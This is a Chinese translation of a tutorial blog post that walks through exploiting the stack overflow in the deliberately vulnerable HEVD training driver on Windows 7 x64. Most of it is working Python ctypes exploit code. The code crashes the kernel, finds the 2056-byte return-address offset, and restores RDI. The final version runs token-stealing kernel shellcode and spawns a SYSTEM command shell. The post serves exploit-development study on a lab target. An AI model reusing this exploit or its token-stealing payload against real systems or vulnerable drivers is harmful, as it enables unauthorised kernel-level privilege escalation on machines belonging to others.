HEVD内核漏洞 — Windows 7 x86-64 栈溢出
2020-07-08 10:34:29 Author: xz.aliyun.com(查看原文) 阅读量:442 收藏

文章翻译自:https://h0mbre.github.io/HEVD_Stackoverflow_64bit/

介绍

继续我们的Windows漏洞利用之旅,开始学习HEVD中内核驱动程序相关的漏洞,并编写有关ring 0的利用程序。正如我在OSCP中所做的准备,我主要是在博客中记录自己的进步,以此来加强认知和保留详细的笔记,以供日后参考。

本系列文章是我尝试遍历Hacksys Extreme漏洞驱动程序中所有漏洞方法的记录。
我将使用HEVD 2.0。,对我们这些刚入门的人来说,像这样的训练工具是非常神奇的。 那里还有很多不错的博客文章,介绍了各种HEVD漏洞。 我建议您全部阅读! 在尝试完成这些攻击时,我大量引用了它们。 在此博客中,我所做的或说的,几乎没有什么是新的内容或我自己的想法/思路/技术。

本系列文章不再着重介绍以下信息,例如:

  • 驱动程序如何工作,以及用户空间,内核和驱动程序之间的不同类型,如何通信等等

  • 如何安装HEVD

  • 如何搭建实验环境

  • shellcode分析

原因很简单,其他博客文章在详细说明此信息方面,做得比我更好。 那里有很多出色的帖子,相比之下我写这个博客系列就很肤浅了。 但并不意味着我的博客写得很差,因为我的博客比那些文章更容易理解。那些博客的作者比我有更多的经验和更渊博的知识,他们文章解释的就很好。:)

这篇文章/系列文章将重点放在我尝试制作实际漏洞的经验上。

我使用以下博客作为参考:

非常感谢这些博客作者,没有您的帮助,我无法完成前两个漏洞。

目标

我们的目标是在Win7 x86和Win7 x86-64上完成针对HEVD栈溢出漏洞的攻击。我们将紧跟上篇博客文章,大多数内容将不会重新介绍。

我们将使用与上一篇文章相同的方法,并进行一些更改,这些更改将是:

  • 这次使用VirtualAlloc代替VirtualProtect
  • 我们需要在某些地方修改脚本以使用64位的寄存器,
  • @ abatchy17提供的新的tpken-stealing shellcodef方法,
  • 新的内核执行恢复shellcode方法
  • 一种新的ctypes

让我们开始吧。

使64位系统Crash


为了进入函数TriggerStackOverflow,我们将再次使用值为0x222003的IOCTL,并且CreateFileA API看起来完全相同,将再次向设备的驱动程序返回一个句柄。我们使用该句柄调用DeviceIoControlAPI,发送一个较大的缓冲区来使系统崩溃。

为了创建缓冲区,我们将使用ctypes库中create_string_buffer函数,该功能是我从@sizzop博客文章中学到的。(在上一篇文章中,我们主要侧重@r0otki7的文章,在这篇文章中,我主要侧重@sizzop的。)

与上次一样,我们将首先发送一个3,000个字节的"A"字符到缓冲区,然后系统会崩溃。我们的代码如下所示:

import ctypes, sys, struct
from ctypes import *
from subprocess import *
import time

kernel32 = windll.kernel32

hevd = kernel32.CreateFileA(
        "\\\\.\\HackSysExtremeVulnerableDriver", 
        0xC0000000, 
        0, 
        None, 
        0x3, 
        0, 
        None)

if (not hevd) or (hevd == -1):
    print("[!] Failed to retrieve handle to device-driver with error-code: " + str(GetLastError()))
    sys.exit(1)
else:
    print("[*] Successfully retrieved handle to device-driver: " + str(hevd))

buf = create_string_buffer("A"*3000)

result = kernel32.DeviceIoControl(
    hevd,
    0x222003,
    addressof(buf),
    (len(buf)-1),
    None,
    0,
    byref(c_ulong()),
    None
)

if result != 0:
        print("[*] Sending payload to driver...")
else:
    print("[!] Unable to send payload to driver.")
    sys.exit(1)

这里的一个棘手的事情是,创建create_string_buffer时,您的缓冲区为null终止。它表示比我们发送的长度长了一个字节, 是3001字节长。由于这个原因,在DeviceIoControl中,我们从要发送的缓冲区长度中减去了一个字节长度。(感谢HEVD开发人员调试语句,这些语句包含了用户缓冲区的长度!)

受害者的机器运行此命会崩溃。

您可以看到,当程序执行到TriggerStackOverflow函数的断点并逐步执行时,我们要进行ret操作。因此,我在WinDBG中使用k命令查看了堆栈得到返回的地址,可以看到堆栈中充满了我们的As。 由于0x4141414141414141不是有效的地址,所以在这里肯定会崩溃。

正如您所见,系统崩溃了。我们不仅将一堆值写入堆栈,而且显然会覆盖其他寄存器中的值。我们在这里控制了很多寄存器,这在内核中可能是一件坏事,因为我们要非常具体地确定内存损坏的地址。这些就留给你们去找出需要控制ret地址的偏移量。

开始漏洞利用

好,现在我们接着做上次的工作。让我们发送指定长度的字符到缓冲区,逐步执行该函数,并查看从TriggerStackOverflow返回后执行的指令。在不溢出缓冲区的情况下,我们将遵循以下执行路径:

如您所见,当我们退出TriggerStackOverflow并重新输入StackOverflowIoctlHandler时,我们执行:

  • add rsp0x28

  • ret

我们的shellcode将需要模拟这些命令,以使我们能够按预期恢复执行并且不会崩溃。 总而言之,我们的执行路径如下所示:
无溢出
StackOverflowIoctlHandler –> TriggerStackOverflow –>retStackOverflowIoctlHandler,然后add rsp, 0x28,然后ret到->IrpDeviceIoCtlHandler.

有溢出
StackOverflowIoctlHandler –> TriggerStackOverflow –>ret到shellcode,然后add rsp, 0x28,然后ret到–> IrpDeviceIoCtlHandler

我们要做的只是将Shellcode替换为StackOverflowIoctlHandler的末尾,然后在shellcode的末尾运行该函数的命令以恢复执行。 让我们在脚本中添加一些shellcode,使用VirtualAlloc将其标记为RWX权限,然后发送一些NOPs占位指令。 另外,您会在此处看到覆盖ret地址的偏移量是2056

现在,我们的漏洞利用代码如下所示:

import ctypes, sys, struct
from ctypes import *
from subprocess import *
import time

kernel32 = windll.kernel32

hevd = kernel32.CreateFileA(
        "\\\\.\\HackSysExtremeVulnerableDriver", 
        0xC0000000, 
        0, 
        None, 
        0x3, 
        0, 
        None)

if (not hevd) or (hevd == -1):
    print("[!] Failed to retrieve handle to device-driver with error-code: " + str(GetLastError()))
    sys.exit(1)
else:
    print("[*] Successfully retrieved handle to device-driver: " + str(hevd))

shellcode1 = (
"\x90" * 100                                               
)

restoration_stub = (
"\x48\x83\xc4\x28"               # add rsp,0x28
"\xc3"                           # ret
)

shellcode = shellcode1 + restoration_stub

addr = kernel32.VirtualAlloc(
    c_int64(0),
    c_int(len(shellcode)),
    c_int(0x3000),
    c_int(0x40)
)

if not addr:
    print("[!] Error allocating shellcode RWX buffer")
else:
    print("[*] Allocated RWX buffer for shellcode @ {}").format(str(hex(addr)))

memmove(addr,shellcode,len(shellcode))

addr = struct.pack("<Q", addr)

buf = create_string_buffer("A"*2048 + "B"*8 + addr)

result = kernel32.DeviceIoControl(
    hevd,
    0x222003,
    addressof(buf),
    (len(buf)-1),
    None,
    0,
    byref(c_ulong()),
    None
)

if result != 0:
        print("[*] Sending payload to driver...")
else:
    print("[!] Unable to send payload to driver.")
    sys.exit(1)

这里有一些细节需要解释。我们在这里使用ctypes库中memmove函数将shellcode移到我们使用VirtualAlloc创建的RWX缓冲区中。有关memmove的信息您可以阅读这里

另一个需要强调的事情是,为了正确格式化指向我们的shellcode缓冲区的指针,我们必须使用struct.pack("<Q",addr),它将struct的指针格式化为C中的unsigned long long类型变量和Python中的8字节int类型变量。 有关struct.pack的所有不同类型的转换,您可以阅读这里

因为我们恢复了程序执行,并且只使用了NOPs,因此这应该毫无问题!

糟糕!我们的程序实际停止运行在IrpDeviceIoCtlHandler中。虽然我们定义了shellcode,但卡死在了这步操作:

正如您所见,我们正在执行and qword ptr [rdi + 38h]。在那里停止运行的原因,是因为我们发送的B字符覆盖了rdi,而0x42424242424242420x38不是有效的内存空间,因此这个运行崩溃了。退出shellcode时,RDI不能保持0x4242424242424242。我们必须将其恢复到损坏之前的状态。

还原RDI寄存器,实现漏洞利用


我知道的将RDI恢复到它原来状态的唯一方法是,查看我们何时运行漏洞利用程序而没有溢出,在输入Shellcode之前,RDI与另一个寄存器之间的偏移量是多少。

因此,我们必须再次回到非溢出缓冲区的大小,然后看看ret退出TriggerStackOverflow时的寄存器值是多少。

在该ret上设置一个断点并运行到达那里,我们可以像这样dump寄存器的值:

我们看到有这些寄存器值:

rax=0000000000000000 rbx=fffffa80062e06a0 rcx=fffff88004f7efe0
rdx=0000077ffd394e20 rsi=fffffa8005539d10 rdi=fffffa80062e05d0
rip=fffff880038815f4 rsp=fffff88004f7f7e8 rbp=0000000000000001
 r8=0000000000000000  r9=0000000000000000 r10=4141414141414141
r11=fffff88004f7f7e0 r12=fffffa8005b77370 r13=0000000000000000
r14=fffffa80062e06e8 r15=0000000000000003

RDI寄存器,与RBX的偏移量为d0(RBX-RDI =0xd0)。 因此,我们可以做的是,在我们的Shellcode还原占位指令中,可以将RBX加载到RDI中,然后从RDI中减去0xd0,我们会得到正确的值。

让我们尝试一次不会崩溃的完整运行,我们更新的漏洞利用代码如下所示:

import ctypes, sys, struct
from ctypes import *
from subprocess import *
import time

kernel32 = windll.kernel32

hevd = kernel32.CreateFileA(
        "\\\\.\\HackSysExtremeVulnerableDriver",
        0xC0000000,
        0,
        None,
        0x3,
        0,
        None)

if (not hevd) or (hevd == -1):
    print("[!] Failed to retrieve handle to device-driver with error-code: " + str(GetLastError()))
    sys.exit(1)
else:
    print("[*] Successfully retrieved handle to device-driver: " + str(hevd))

shellcode1 = (
"\x90" * 100
)

restoration_stub = (
"\x48\x83\xc4\x28"               # add rsp,0x28 
"\x48\x89\xDF"                   # mov rdi,rbx
"\x48\x81\xEF\xD0\x00\x00\x00"   # sub rdi,0xd0
"\xc3"                           # ret
)

shellcode = shellcode1 + restoration_stub

addr = kernel32.VirtualAlloc(
    c_int64(0),
    c_int(len(shellcode)),
    c_int(0x3000),
    c_int(0x40)
)

if not addr:
    print("[!] Error allocating shellcode RWX buffer")
else:
    print("[*] Allocated RWX buffer for shellcode @ {}").format(str(hex(addr)))

memmove(addr,shellcode,len(shellcode))

addr = struct.pack("<Q", addr)

buf = create_string_buffer("A"*2048 + "B"*8 + addr)

result = kernel32.DeviceIoControl(
    hevd,
    0x222003,
    addressof(buf),
    (len(buf)-1),
    None,
    0,
    byref(c_ulong()),
    None
)

if result != 0:
        print("[*] Sending payload to driver...")
else:
    print("[!] Unable to send payload to driver.")
    sys.exit(1)

运行此漏洞利用代码可以正常执行,并且不会使内核崩溃!

现在剩下要做的就是添加一些实际的shellcode。 我使用了x64 shellcode,参考@abatchy17’s blog on the token-stealing payloads he was using

但是我也修改了它们,以便将所有使用过的寄存器首先压入堆栈以保留它们的值,然后将它们回弹到shellcode的末尾使它们还原。

最终的shellcode是:

shellcode1 = (
"\x50\x51\x41\x53\x52\x48\x31\xC0\x65\x48\x8B\x80\x88\x01\x00\x00"
"\x48\x8B\x40\x70\x48\x89\xC1\x49\x89\xCB\x49\x83\xE3\x07\xBA\x04"
"\x00\x00\x00\x48\x8B\x80\x88\x01\x00\x00\x48\x2D\x88\x01\x00\x00"
"\x48\x39\x90\x80\x01\x00\x00\x75\xEA\x48\x8B\x90\x08\x02\x00\x00"
"\x48\x83\xE2\xF0\x4C\x09\xDA\x48\x89\x91\x08\x02\x00\x00\x5A\x41"
"\x5B\x59\x58"
)

restoration_stub = (
"\x48\x83\xc4\x28"               # add rsp,0x28 
"\x48\x89\xDF"                   # mov rdi,rbx
"\x48\x81\xEF\xD0\x00\x00\x00"   # sub rdi,0xd0
"\xc3"                           # ret
)

我将让读者来梳理那里的工作来作为这次练习的目的。请阅读Abatchy的博客,那是一个很好的资源。

运行最终漏洞利用代码,我们可以拿到期望的权限。

最终利用代码如下:

import ctypes, sys, struct
from ctypes import *
from subprocess import *
import time

kernel32 = windll.kernel32

hevd = kernel32.CreateFileA(
        "\\\\.\\HackSysExtremeVulnerableDriver", 
        0xC0000000, 
        0, 
        None, 
        0x3, 
        0, 
        None)

if (not hevd) or (hevd == -1):
    print("[!] Failed to retrieve handle to device-driver with error-code: " + str(GetLastError()))
    sys.exit(1)
else:
    print("[*] Successfully retrieved handle to device-driver: " + str(hevd))

shellcode1 = (
"\x50\x51\x41\x53\x52\x48\x31\xC0\x65\x48\x8B\x80\x88\x01\x00\x00"
"\x48\x8B\x40\x70\x48\x89\xC1\x49\x89\xCB\x49\x83\xE3\x07\xBA\x04"
"\x00\x00\x00\x48\x8B\x80\x88\x01\x00\x00\x48\x2D\x88\x01\x00\x00"
"\x48\x39\x90\x80\x01\x00\x00\x75\xEA\x48\x8B\x90\x08\x02\x00\x00"
"\x48\x83\xE2\xF0\x4C\x09\xDA\x48\x89\x91\x08\x02\x00\x00\x5A\x41"
"\x5B\x59\x58"                                               
)

restoration_stub = (
"\x48\x83\xc4\x28"               # add rsp,0x28 
"\x48\x89\xDF"                   # mov rdi,rbx
"\x48\x81\xEF\xD0\x00\x00\x00"   # sub rdi,0xd0
"\xc3"                           # ret
)

shellcode = shellcode1 + restoration_stub

addr = kernel32.VirtualAlloc(
    c_int64(0),
    c_int(len(shellcode)),
    c_int(0x3000),
    c_int(0x40)
)

if not addr:
    print("[!] Error allocating shellcode RWX buffer")
else:
    print("[*] Allocated RWX buffer for shellcode @ {}").format(str(hex(addr)))

memmove(addr,shellcode,len(shellcode))

addr = struct.pack("<Q", addr)

buf = create_string_buffer("A"*2048 + "B"*8 + addr)

result = kernel32.DeviceIoControl(
    hevd,
    0x222003,
    addressof(buf),
    (len(buf)-1),
    None,
    0,
    byref(c_ulong()),
    None
)

if result != 0:
        print("[*] Sending payload to driver...")
else:
    print("[!] Unable to send payload to driver.")
    sys.exit(1)

print("[*] Spawning CMD shell with nt authority\system privs.")
Popen("start cmd", shell=True)

结尾


实际上,这花了我很长时间才能弄清楚。 在所有演练中我都没有遇到过到过RDI的问题,因此这对我来说是一个很好的机会自食其力、探索和使用WinDBG的绝佳机会。非常感谢所有精彩的博客文章,非常感谢各位作者。


文章来源: http://xz.aliyun.com/t/7914
如有侵权请联系:admin#unsafe.sh